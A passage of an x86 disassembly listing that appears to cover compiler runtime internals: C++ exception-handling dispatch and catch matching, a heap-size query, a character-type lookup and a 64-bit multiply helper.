		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_410D6D


loc_410D09:				; CODE XREF: sub_410C14+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_410D3A


loc_410D1B:				; CODE XREF: sub_410C14+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_410E63
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410D49
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_410D1B


loc_410D3A:				; CODE XREF: sub_410C14+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_410D09
		jmp	short loc_410D6D
; ---------------------------------------------------------------------------


loc_410D49:				; CODE XREF: sub_410C14+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_410F74
		add	esp, 2Ch


loc_410D6D:				; CODE XREF: sub_410C14+F3j
					; sub_410C14+133j
		mov	edi, [ebp+var_10]


loc_410D70:				; CODE XREF: sub_410C14+DEj
					; sub_410C14+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_410CE4
; ---------------------------------------------------------------------------


loc_410D7B:				; CODE XREF: sub_410C14+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_410D8B
		push	1
		push	esi
		call	sub_4112E9
		pop	ecx
		pop	ecx


loc_410D8B:				; CODE XREF: sub_410C14+56j
					; sub_410C14+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_410D90:				; CODE XREF: sub_410C14+37j
					; sub_410C14+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_410DB6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_410DBB
		add	esp, 20h
		jmp	short loc_410D8B
; ---------------------------------------------------------------------------


loc_410DB6:				; CODE XREF: sub_410C14+180j
		jmp	sub_4113CC
sub_410C14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DBB	proc near		; CODE XREF: sub_410C14+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_47F990, 0
		push	esi
		push	edi
		jz	short loc_410DEC
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BB32
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_410E5F


loc_410DEC:				; CODE XREF: sub_410DBB+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40BC5B
		add	esp, 14h
		mov	esi, eax


loc_410E08:				; CODE XREF: sub_410DBB+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_410E5F
		cmp	edi, [esi]
		jl	short loc_410E57
		cmp	edi, [esi+4]
		jg	short loc_410E57
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_410E31
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_410E57


loc_410E31:				; CODE XREF: sub_410DBB+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410F74
		add	esp, 2Ch


loc_410E57:				; CODE XREF: sub_410DBB+57j
					; sub_410DBB+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_410E08
; ---------------------------------------------------------------------------


loc_410E5F:				; CODE XREF: sub_410DBB+2Fj
					; sub_410DBB+53j
		pop	edi
		pop	esi
		leave
		retn
sub_410DBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_410E63	proc near		; CODE XREF: sub_410C14+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_410EBA
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_410EBA
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_410E94
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EB6


loc_410E94:				; CODE XREF: sub_410E63+1Fj
		test	byte ptr [esi],	2
		jz	short loc_410E9E
		test	byte ptr [edi],	8
		jz	short loc_410EB6


loc_410E9E:				; CODE XREF: sub_410E63+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_410EAD
		test	byte ptr [edi],	1
		jz	short loc_410EB6


loc_410EAD:				; CODE XREF: sub_410E63+43j
		test	al, 2
		jz	short loc_410EBA
		test	byte ptr [edi],	2
		jnz	short loc_410EBA


loc_410EB6:				; CODE XREF: sub_410E63+2Fj
					; sub_410E63+39j ...
		xor	eax, eax
		jmp	short loc_410EBD
; ---------------------------------------------------------------------------


loc_410EBA:				; CODE XREF: sub_410E63+Bj
					; sub_410E63+14j ...
		push	1
		pop	eax


loc_410EBD:				; CODE XREF: sub_410E63+55j
		pop	edi
		pop	esi
		retn
sub_410E63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410EC0	proc near		; CODE XREF: sub_410B79+34p
					; sub_410F74+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4177E8
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_410EF2:				; CODE XREF: sub_410EC0+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_410F4C
		cmp	esi, 0FFFFFFFFh
		jle	short loc_410F01
		cmp	esi, [edi+4]
		jl	short loc_410F06


loc_410F01:				; CODE XREF: sub_410EC0+3Aj
		call	sub_411422


loc_410F06:				; CODE XREF: sub_410EC0+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_410F21
		push	103h
		push	ebx
		push	eax
		call	sub_411380


loc_410F21:				; CODE XREF: sub_410EC0+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_410F41
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_410F5E
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_410F41:				; CODE XREF: sub_410EC0+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_410EF2
; ---------------------------------------------------------------------------


loc_410F4C:				; CODE XREF: sub_410EC0+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410EC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F5E	proc near		; CODE XREF: sub_410EC0+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_410F6F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410F6F:				; CODE XREF: sub_410F5E+Cj
		jmp	sub_4113CC
sub_410F5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F74	proc near		; CODE XREF: sub_410C14+151p
					; sub_410DBB+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_410F96
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_411125
		add	esp, 10h


loc_410F96:				; CODE XREF: sub_410F74+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_410FA2
		push	edi
		jmp	short loc_410FA5
; ---------------------------------------------------------------------------


loc_410FA2:				; CODE XREF: sub_410F74+29j
		push	[ebp+arg_24]


loc_410FA5:				; CODE XREF: sub_410F74+2Cj
		call	sub_40BA34
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_410EC0
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_410FEF
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_410FEA
		push	edi
		push	eax
		call	sub_40B9F2


loc_410FEA:				; CODE XREF: sub_410F74+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FEF	proc near		; CODE XREF: sub_410F74+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4177F8
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_47F988
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_47F98C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_47F988, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_47F98C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_40BAB9
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4110B5
		mov	eax, [ebp+var_2C]


loc_41107C:				; CODE XREF: sub_411095+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41108B	proc near		; DATA XREF: .nsp0:00417808o
		push	dword ptr [ebp-14h]
		call	sub_4110FB
		pop	ecx
		retn
sub_41108B	endp


; =============== S U B	R O U T	I N E =======================================



sub_411095	proc near		; DATA XREF: .nsp0:0041780Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_40BD1A
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41107C
sub_411095	endp

; ---------------------------------------------------------------------------


loc_4110AD:				; DATA XREF: .nsp0:00417800o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_4110B5	proc near		; CODE XREF: sub_410FEF+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_47F988, eax
		mov	eax, [ebp-20h]
		mov	dword_47F98C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4110FA
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4110FA
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4110FA
		cmp	[ebp-24h], ebx
		jnz	short locret_4110FA
		cmp	[ebp-2Ch], ebx
		jz	short locret_4110FA
		call	sub_40BD82
		push	eax
		push	edi
		call	sub_4112E9
		pop	ecx
		pop	ecx

locret_4110FA:				; CODE XREF: sub_4110B5+1Cj
					; sub_4110B5+22j ...
		retn
sub_4110B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110FB	proc near		; CODE XREF: sub_41108B+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_411122
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_411122
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_411122
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_411122
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_411122:				; CODE XREF: sub_4110FB+Cj
					; sub_4110FB+12j ...
		xor	eax, eax
		retn
sub_4110FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411125	proc near		; CODE XREF: sub_410F74+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417810
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_4112CE
		cmp	byte ptr [eax+8], 0
		jz	loc_4112CE
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_4112CE
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_4111C2
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_413DA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4112C5
		push	1
		push	edi
		call	sub_413DBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4112C5
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_4111B3:				; CODE XREF: sub_411125+F5j
		push	eax
		call	sub_411350
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_4112CA
; ---------------------------------------------------------------------------


loc_4111C2:				; CODE XREF: sub_411125+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41121C
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_413DA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4112C5
		push	1
		push	edi
		call	sub_413DBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4112C5
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_40BE50
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_4112CA
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4112CA
		add	esi, 8
		push	esi
		jmp	short loc_4111B3
; ---------------------------------------------------------------------------


loc_41121C:				; CODE XREF: sub_411125+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_411264
		call	sub_413DA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4112C5
		push	1
		push	edi
		call	sub_413DBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4112C5
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_411350
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_40BE50
		add	esp, 0Ch
		jmp	short loc_4112CA
; ---------------------------------------------------------------------------


loc_411264:				; CODE XREF: sub_411125+103j
		call	sub_413DA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4112C5
		push	1
		push	edi
		call	sub_413DBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4112C5
		push	dword ptr [esi+18h]
		call	sub_413DD8
		pop	ecx
		test	eax, eax
		jz	short loc_4112C5
		test	byte ptr [esi],	4
		jz	short loc_4112AB
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_411350
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40BA2D
		jmp	short loc_4112CA
; ---------------------------------------------------------------------------


loc_4112AB:				; CODE XREF: sub_411125+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_411350
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40BA26
		jmp	short loc_4112CA
; ---------------------------------------------------------------------------


loc_4112C5:				; CODE XREF: sub_411125+6Aj
					; sub_411125+7Cj ...
		call	sub_411422


loc_4112CA:				; CODE XREF: sub_411125+98j
					; sub_411125+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_4112CE:				; CODE XREF: sub_411125+2Ej
					; sub_411125+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411125	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4113CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112E9	proc near		; CODE XREF: sub_410C14+170p
					; sub_4110B5+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417820
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_411330
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_411330
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_40BA26
		or	[ebp+var_4], 0FFFFFFFFh


loc_411330:				; CODE XREF: sub_4112E9+2Aj
					; sub_4112E9+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4112E9	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4113CC

; =============== S U B	R O U T	I N E =======================================



sub_411350	proc near		; CODE XREF: sub_411125+8Fp
					; sub_411125+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_411371
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_411371:				; CODE XREF: sub_411350+12j
		pop	esi
		retn
sub_411350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411380	proc near		; CODE XREF: sub_40BAB9+40p
					; sub_410EC0+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_40BDA5
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_4113BF
		mov	ecx, 2


loc_4113BF:				; CODE XREF: sub_411380+38j
		push	ecx
		call	sub_40BDA5
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_411380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113CC	proc near		; CODE XREF: sub_410C14:loc_410DB6j
					; sub_410F5E:loc_410F6Fj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00413DF0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417830
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_47F994
		test	eax, eax
		jz	short loc_411414
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_411410
; ---------------------------------------------------------------------------


loc_411409:				; DATA XREF: .nsp0:00417840o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41140D:				; DATA XREF: .nsp0:00417844o
		mov	esp, [ebp+var_18]


loc_411410:				; CODE XREF: sub_4113CC+3Bj
		and	[ebp+var_4], 0


loc_411414:				; CODE XREF: sub_4113CC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41141D:				; DATA XREF: .nsp0:00417838o
		jmp	loc_413DF0
sub_4113CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411422	proc near		; CODE XREF: sub_40BC5B+23p
					; sub_40BC5B:loc_40BCC6p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417848
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_41FD74
		test	eax, eax
		jz	short loc_41146A
		mov	[ebp+var_4], 1
		call	eax ; sub_4113CC
		jmp	short loc_411466
; ---------------------------------------------------------------------------


loc_41145F:				; DATA XREF: .nsp0:00417858o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_411463:				; DATA XREF: .nsp0:0041785Co
		mov	esp, [ebp+var_18]


loc_411466:				; CODE XREF: sub_411422+3Bj
		and	[ebp+var_4], 0


loc_41146A:				; CODE XREF: sub_411422+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_411473:				; DATA XREF: .nsp0:00417850o
		jmp	sub_4113CC
sub_411422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411478	proc near		; CODE XREF: sub_40C193+7p
					; sub_40C193+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_480F88
		push	esi
		cmp	eax, 3
		jnz	short loc_4114A1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_40EC58
		test	eax, eax
		pop	ecx
		jz	short loc_41149E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_4114D6
; ---------------------------------------------------------------------------


loc_41149E:				; CODE XREF: sub_411478+1Cj
		push	esi
		jmp	short loc_4114C8
; ---------------------------------------------------------------------------


loc_4114A1:				; CODE XREF: sub_411478+Ej
		cmp	eax, 2
		jnz	short loc_4114C5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40F9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4114C5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_4114D6
; ---------------------------------------------------------------------------


loc_4114C5:				; CODE XREF: sub_411478+2Cj
					; sub_411478+43j
		push	[ebp+arg_0]


loc_4114C8:				; CODE XREF: sub_411478+27j
		push	0
		push	dword_480F84
		call	dword_417144	; RtlSizeHeap


loc_4114D6:				; CODE XREF: sub_411478+24j
					; sub_411478+4Bj
		pop	esi
		leave
		retn
sub_411478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114D9	proc near		; CODE XREF: sub_40C324+17p
					; sub_40C324+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_4114F7
		mov	ecx, off_41FD78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_411549
; ---------------------------------------------------------------------------


loc_4114F7:				; CODE XREF: sub_4114D9+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_41FD78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41151C
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_411525
; ---------------------------------------------------------------------------


loc_41151C:				; CODE XREF: sub_4114D9+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_411525:				; CODE XREF: sub_4114D9+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_413E07
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_411545
		leave
		retn
; ---------------------------------------------------------------------------


loc_411545:				; CODE XREF: sub_4114D9+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_411549:				; CODE XREF: sub_4114D9+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_4114D9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411550	proc near		; CODE XREF: sub_40DF72+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_411569
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_411569:				; CODE XREF: sub_411550+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_411550	endp


; =============== S U B	R O U T	I N E =======================================



sub_411584	proc near		; CODE XREF: sub_40C3BA+2Ap
					; sub_41416A+290p

